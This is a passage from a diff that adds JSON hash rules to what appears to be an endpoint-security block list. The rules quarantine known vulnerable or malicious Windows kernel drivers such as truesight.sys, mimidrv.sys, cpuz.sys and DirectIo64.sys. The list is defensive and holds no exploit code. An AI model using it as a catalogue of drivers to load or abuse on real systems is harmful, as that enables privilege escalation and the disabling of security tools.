+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b5612782-d39b-59c1-98bb-ba9bb525c065",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828988Z",
+  "creation_date": "2026-03-23T11:45:31.828991Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828998Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e753d1cc0ee358578b604144b918f287f1127da9cebfdbf167ee649d7534fda",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b5690161-c80f-5802-a8df-247f29f8a9d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143416Z",
+  "creation_date": "2026-03-23T11:45:31.143418Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143423Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a81d5126c51d64cd3f6ead91efa079fc877d6cad2e69de1c37fc1be29984d50",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b586c611-c482-5ed5-bb27-8cf326ac17eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614351Z",
+  "creation_date": "2026-03-23T11:45:29.614352Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614358Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "09bedbf7a41e0f8dabe4f41d331db58373ce15b2e9204540873a1884f38bdde1",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b58b3377-972a-5d0e-a5f1-d9aae599ce4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142471Z",
+  "creation_date": "2026-03-23T11:45:31.142473Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142478Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8c33ee4f007208b5a6f34dedd5a61d90fa27fb56c4ccba0e5a83702482106f4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b5935923-4698-519f-9c0d-715cd2c990c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465624Z",
+  "creation_date": "2026-03-23T11:45:30.465628Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465637Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a74e8f94d2c140646a8bb12e3e322c49a97bd1b8a2e4327863d3623f43d65c66",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b59d9749-418e-5fa6-ab42-49a6bde2554b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473884Z",
+  "creation_date": "2026-03-23T11:45:30.473887Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473896Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f94c8dee30d8d349d0b51b9f1624c49ef8b6b8d54d40ecf09af95011d01b705f",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b59de7dd-7c9e-56f3-b1be-f37f12b1ecef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811608Z",
+  "creation_date": "2026-03-23T11:45:31.811611Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811617Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "617d5e50ebacff362232217b44ad1be06158214aa14cc46b60581acb530989fe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b5aa5e91-bd6a-5214-a4ee-fc79c2d4a532",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821156Z",
+  "creation_date": "2026-03-23T11:45:31.821159Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821167Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "955887adbe6565cedb6cd793db36c5a4083e12faf5883a310e43cce8c8b2fd9e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b5b65bb7-fb1c-57ba-8177-cb13efb976b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618271Z",
+  "creation_date": "2026-03-23T11:45:29.618273Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618278Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c11305fc8da85568b2d41cdf030ce260815fea848af91dc0e01076d461bab919",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b5d949d9-8be7-5dc1-8dd3-d18f5b5368dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808921Z",
+  "creation_date": "2026-03-23T11:45:31.808923Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808928Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dec61fd459bc6d34645518d47257b636ffd5ae7d1dd50452ab53afa0d9d51006",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b5e3ab8e-adeb-51ff-9ec8-56c2765211e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829646Z",
+  "creation_date": "2026-03-23T11:45:31.829648Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829653Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c175dfa16b4f37e3cfde8ee8da821ad5fc5b95f03da51996abef2ba7223c4c11",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b5efb753-7906-5b95-8b8b-ed16a063c0bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810029Z",
+  "creation_date": "2026-03-23T11:45:31.810031Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810036Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea9a74b066bc5aac4377a438217f40509c43e2f0318553ad1fb248c6dfed9fe9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b5f09107-7046-593e-9d26-cce0e4275603",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466128Z",
+  "creation_date": "2026-03-23T11:45:30.466132Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466141Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5295080de37d4838e15dec4e3682545033d479d3d9ac28d74747c086559fb968",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b5f1064e-988b-57c5-9df4-214c755aba76",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461268Z",
+  "creation_date": "2026-03-23T11:45:30.461271Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461280Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "965d4f981b54669a96c5ab02d09bf0a9850d13862425b8981f1a9271350f28bb",
+  "comment": "Vulnerable Kernel Driver (aka sfdrvx64.sys) [https://www.loldrivers.io/drivers/5a03dc5a-115d-4d6f-b5b5-685f4c014a69/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b61be673-4722-5513-a715-1252eb5a9aef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149260Z",
+  "creation_date": "2026-03-23T11:45:31.149263Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149272Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1cc45bb77bf76a530d653340ab53548c4c3353be1088c1ded3b26fdb7e324c7b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b6260e6d-05f4-52e6-a5f7-af363befb4df",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826831Z",
+  "creation_date": "2026-03-23T11:45:31.826833Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826838Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "684ff3390c3e0ab64e278e86f12aa11751e2f7e25e61aecb8e47b0560be5a713",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b657a637-7188-5632-8106-a82614b1bceb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156552Z",
+  "creation_date": "2026-03-23T11:45:31.156554Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156559Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "182fe67f10ccaf1511093d66f02d554ec14b3e35f0e9f99b40d1b6cdf6bc3774",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b68d2caf-1c49-5327-8332-a6b3db88698b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616968Z",
+  "creation_date": "2026-03-23T11:45:29.616970Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616976Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df4566edea7c02e29d7dc56ff3f7da6c1ef846e1063b2805a5180bb0d6db37e8",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b68ec021-7351-5ee4-908e-a1dc72390547",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146385Z",
+  "creation_date": "2026-03-23T11:45:31.146386Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146392Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "687af130c03ad59fb35b28447dc7ba5c2cda36969d31bf38bf3ebe676ede48ae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b691a5ca-8282-503f-9990-cfbf2974187d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825307Z",
+  "creation_date": "2026-03-23T11:45:31.825310Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825318Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6955b73194b48410331b0518e68dec23d8a40107dd72209b9097ae9a361f13d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b6949fef-552c-55c6-b14c-61c8e6e050df",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622419Z",
+  "creation_date": "2026-03-23T11:45:29.622421Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622427Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38b3eb8c86201d26353aab625cea672e60c2f66ce6f5e5eda673e8c3478bf305",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b694df8b-c982-5db3-a254-68d595fec621",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814547Z",
+  "creation_date": "2026-03-23T11:45:31.814550Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814560Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f1628f379703dcf5a0711782af2a2dd895b1a57cacfd3e29f013fb074dc4174",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
